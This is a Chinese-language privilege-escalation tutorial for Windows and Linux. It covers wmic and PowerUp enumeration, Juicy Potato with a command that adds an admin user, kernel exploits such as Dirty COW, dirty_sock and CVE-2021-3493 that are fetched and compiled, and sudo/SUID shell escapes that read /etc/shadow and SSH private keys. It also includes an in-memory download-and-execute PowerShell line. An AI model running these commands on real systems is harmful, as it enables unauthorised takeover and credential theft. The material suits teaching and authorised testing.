操作系统提权 权限提升简介 权限提升(privilege Escalation):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统的控制权。
常见权限:
1 2 3 4 用户权限(Users) 管理员权限(Administrators) 系统权限(SYSTEM) 访客权限(Guest)
是否提权取决于你的实际场景,不一定会需要提权。
windows提权
1 2 3 user --> administrator administrator --> system services --> system
linux提权
提权分类 本地提权:
远程提权:
操作系统提权:windows常用bypassuac和potato提权。linux常用
应用程序提权
提权条件 拥有Webshell、beacon、sessions 拥有普通用户权限 拥有某些软件的账号密码 本地或远程服务器上存在漏洞 拥有漏洞利用工具代码 Windows系统提权 1.信息收集 可以手动获取,也可以使用工具。
wmic:windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的
补丁信息、补丁包过滤 1 2 3 wmic qfe get Caption,Description,HotFixID,InstalledOn wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx"
获取杀软名
1 WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format :List
获取杀软名和安装路径
1 WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 wmic group 组帐户管理。 wmic os 已安装操作系统的管理。 wmic process 进程管理 wmic service 服务应用程序管理。 wmic useraccount 用户帐户管理。 wmic startup 当用户登录到计算机系统时自动运行的命令的管理。 wmic nic 网络接口控制器(NIC)管理
自动信息收集
1 2 3 4 5 6 HIGS.bat https://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/HIGS.bat winPEAS.bat https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bat PowerUP:提权框架Power-up (介绍https://evi1cg.me/archives/Powerup.html) https://github.com/M4ximuss/Powerless
powerup使用 1.下载脚本
1 https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
2.加载脚本
1 2 powershell -nop -ep bypass Import-Module .\PowerUp.psm1
3.查看所有模块
1 Get-Command -Module powerup
4.查看模块详细说明
1 2 3 Get-help [cmdlet ] -full Get-Help Find-DLLHijack -full
5.导出结果
1 Invoke-AllChecks | Out-File -Encoding ASCII checks.txt
6.运行
1 2 3 4 #cmd powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}" #内存加载运行 powershell -nop -exec bypass -c "IEX (New-Object Net .WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
常见提权方式 collectAV_KB 1 https://github.com/TryA9ain/CollectAV_KB
beroot 1 https://github.com/AlessandroZ/BeRoot
watson 1 https://github.com/rasta-mouse/Watson
sherlock 1 https://github.com/sherlock-project/sherlock
Juicy Potato 需要具有SeImpersonate或SeAssignPrimaryToken 开启DCOM 本地支持RPC(135端口)或者远程服务器支持RPC并能成功登录 能够找到可用的COM对象 介绍:一般从web拿到的webshell都是IIS服务器权限。
1.查看当前用户权限
1 2 3 4 5 whoami /all whoami /priv #SeImpersonate 权限为enabled 可以使用参数-t t #SeAssignPrimaryToken 权限为enabled 可以使用参数-t u #都开启可以使用 -t *
2.检查RPC默认端口
查看是否为135默认端口
3.选择CLSID
根据操作系统选择可用的clsid(介绍:https://gitee.com/yijingsec/juicy-potato/blob/master/CLSID/README.md)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 添加网络位置 shell:::{D4480A50-BA28-11d1-8E75-00C04FA31A86} 管理工具 shell:::{D20EA4E1-3957-11d2-A40B-0C5020524153} 所有控制面板项 shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D} 所有设置 shell:::{5ED4F38C-D3FF-4D61-B506-6820320AEBFE} 所有任务 shell:::{ED7BA470-8E54-465E-825C-99712043E01C} 应用 shell:::{4234d49b-0245-4df3-b780-3893943456e1} AppSuggestedLocations shell:::{c57a6066-66a3-4d91-9eb9-41532179f0a5} ActiveX缓存文件夹 shell:::{88C6C381-2E85-11D0-94DE-444553540000} 自动播放 shell:::{9C60DE1E-E5FC-40f4-A487-460851A8D915} 备份和还原(Windows7) shell:::{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD} BitLocker驱动器加密 shell:::{D9EF8727-CAC2-4e60-809E-86F80A666C91} 蓝牙设备 shell:::{28803F59-3A75-4058-995F-4EE5503B023C} Briefcase shell:::{85BBD920-42A0-1069-A2E4-08002B30309D} Cabinet Shell文件夹 shell:::{0CD7A5C0-9F37-11CE-AE65-08002B2E1262} 命令文件夹 shell:::{437ff9c0-a07f-4fa0-af80-84b6c6440a16} Common Places FS Folder shell:::{d34a6ca6-62c2-4c34-8a7c-14709c1ad938} CompressedFolder shell:::{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31} 连接到 shell:::{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B} 控制面板 shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} 控制面板 shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0} 凭据管理器 shell:::{1206F5F1-0569-412C-8FEC-3204630DFB70}
4.选择监听端口并执行
执行成功后会弹出cmd.exe窗口,但是webshell管理工具不太能利用这种,所以还得各种扩展脚本工具
1 2 3 4 5 6 7 8 9 C:/test/ >juicypotato.exe -t * -p "cmd.exe" -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097} Testing {4991d34b-80a1-4291-83b6-3328366b9097} 9001 ...... [+] authresult 0 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK JuicyPotato-ws.exe -p "net user admin abc123! /add"
使用别的脚本:
https://gitee.com/yijingsec/SweetPotato
https://github.com/yusufqk/SystemToken
1 SweetPotato.exe -a whoami
linux系统提权 提权思路 信息收集 内核漏洞 服务提权漏洞 sudo权限滥用 suid提权 GTFOBins 提取信息收集 操作系统信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 查看发行版本 cat /etc/issue cat /etc/*-release lsb_release -a # 查看内核版本 uname –a uname –mrs # 环境变量 cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set
因故程序和服务信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 # 系统网络信息 /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network # 应用程序和服务 ps aux ps -ef top cat /etc/services # root用户运行的服务 ps aux | grep root ps -ef | grep root # 安装的应用程序 ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archives ls -alh /var/cache/yum/ # 服务配置错误 cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ # 计划任务 crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
通信与网络 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 # 登录用户 id who w last cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l # 用户敏感文件 cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ # 用户家目录 ls -ahlR /root/ ls -ahlR /home/ # 脚本、数据库、配置文件、日志文件 cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg # 历史记录 cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history # 用户信息 cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root # ssh私钥信息 cat ~/.ssh/authorized_keys cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa
机密信息和用户信息 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 # 登录用户 id who w last cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l # 用户敏感文件 cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ # 用户家目录 ls -ahlR /root/ ls -ahlR /home/ # 脚本、数据库、配置文件、日志文件 cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg # 历史记录 cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history # 用户信息 cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root # ssh私钥信息 cat ~/.ssh/authorized_keys cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa
文件系统 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # 日志文件分析 cat /etc/httpd/logs/access_log cat /etc/httpd/logs/error_log cat /var/log/apache2/access_log cat /var/log/apache2/error_log # 可写可执行的文件夹 find / -writable -type d 2>/dev/null > 找出可写的文件夹 find / -perm -222 -type d 2>/dev/null > 找出可写的文件夹 find / -perm -o w -type d 2>/dev/null > 找出可写的文件夹 find / -perm -o x -type d 2>/dev/null > 找出可写的文件夹 find / ( -perm -o w -perm -o x ) -type d 2>/dev/null > 找出可写可执行的文件夹 find / -xdev -type d ( -perm -0002 -a ! -perm -1000) -print > 找出可写的文件 find /dir -xdev ( -nouser -o -nogroup ) -print > 找出不是所有者的文件
准备和查找利用代码 1 2 3 4 5 6 7 8 9 10 11 12 # 支持的语言开发环境 find / -name perl* find / -name python* find / -name gcc* find / -name cc # 上传文件环境 find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
漏洞脚本: 1 2 3 4 5 6 7 8 9 10 11 http://www.exploit-db.com https://www.securityfocus.com/bid https://www.rapid7.com/db/ https://cxsecurity.com/exploit/ https://seclists.org/fulldisclosure/ https://exploit.kitploit.com/ https://www.cvedetails.com/index.php https://packetstormsecurity.com/ http://cve.mitre.org/cve/search_cve_list.html https://www.anquanke.com/vul https://nvd.nist.gov/vuln/categories
内核提权漏洞 1 searchsploit搜索exp:适用于Exploit-DB的命令行搜索工具
脏牛提权漏洞: 2016年,linux内核漏洞,现在少见了。缓冲区溢出漏洞,
改写没有写文件的权限,/etc/passwd,把原有root用户更改为自己的用户,并设置密码
1 2 3 4 5 POC: https://gitee.com/yijingsec/dirtycow gcc编译: gcc -pthread dirty.c -o dirty -lcrypt 替换root用户: ./dirty password
cve-2019-13272 1 2 3 4 5 6 7 8 9 10 linux本地提权 漏洞范围: 4.10 < linux内核版本 < 5.1.17 只能debian exploitdb: https://www.exploit-db.com/exploits/47163 利用exp: https://www.exploit-db.com/download/47163
1 2 3 wget https://www.exploit-db.com/download/47163 -O exp.c gcc exp.c –o exp ./exp
CVE-2019-7304 1 2 3 4 5 6 7 8 9 10 11 DIRTY系列:dirty-sock Linux包管理器snap本地提权漏洞 Ubuntu版本范围: Ubuntu 18.10 Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 LTS snap版本范围: 2.28 < snapd < 2.37
1 2 3 利用 https://gitee.com/yijingsec/dirty_sock python dirty_sock.py
cve-2021-3493 1 2 3 4 5 6 7 8 9 针对ubuntu 20.10 20.04 LTS 18.04 LTS 16.04 LTS 14.04 ESM https://gitee.com/yijingsec/CVE-2021-3493 gcc exploit.c -o exp ./exp
linux密码HASH 1 2 3 哈希解密: https://cmd5.com/ https://www.somd5.com/
滥用的sudo权限 sudo是linux系统管理指令,允许系统管理员让普通用户执行一些或者全部的root命令
介绍:https://www.runoob.com/linux/linux-comm-sudo.html
1 2 3 4 sudo配置文件:/etc/sudoers 配置文件权限:0440 sudo -l 显示出自己的权限 sudo -s 执行环境变数中的shell所指定的shell,或是/etc/passwd里所指定的shell
sudo提权
1 2 3 4 5 6 7 https://gtfobins.github.io/ sudo /bin/ash sudo /usr/bin/awk -F: ‘{print $1 $2 }' /etc/shadow sudo /usr/bin/awk ' BEGIN {system("/bin/bash" )}' sudo curl file:///etc/shadow sudo find . -exec /bin/sh \; -quit
suid权限提权 suid权限文件运行时的权限是属主的权限,只能作用在二进制程序上
查找拥有suid权限的文件:
1 find / -perm -u=s -type f 2>/dev/null
提权工具 no 推荐:
1 2 https://gitee.com/yijingsec/traitor https://gitee.com/yijingsec/gtfo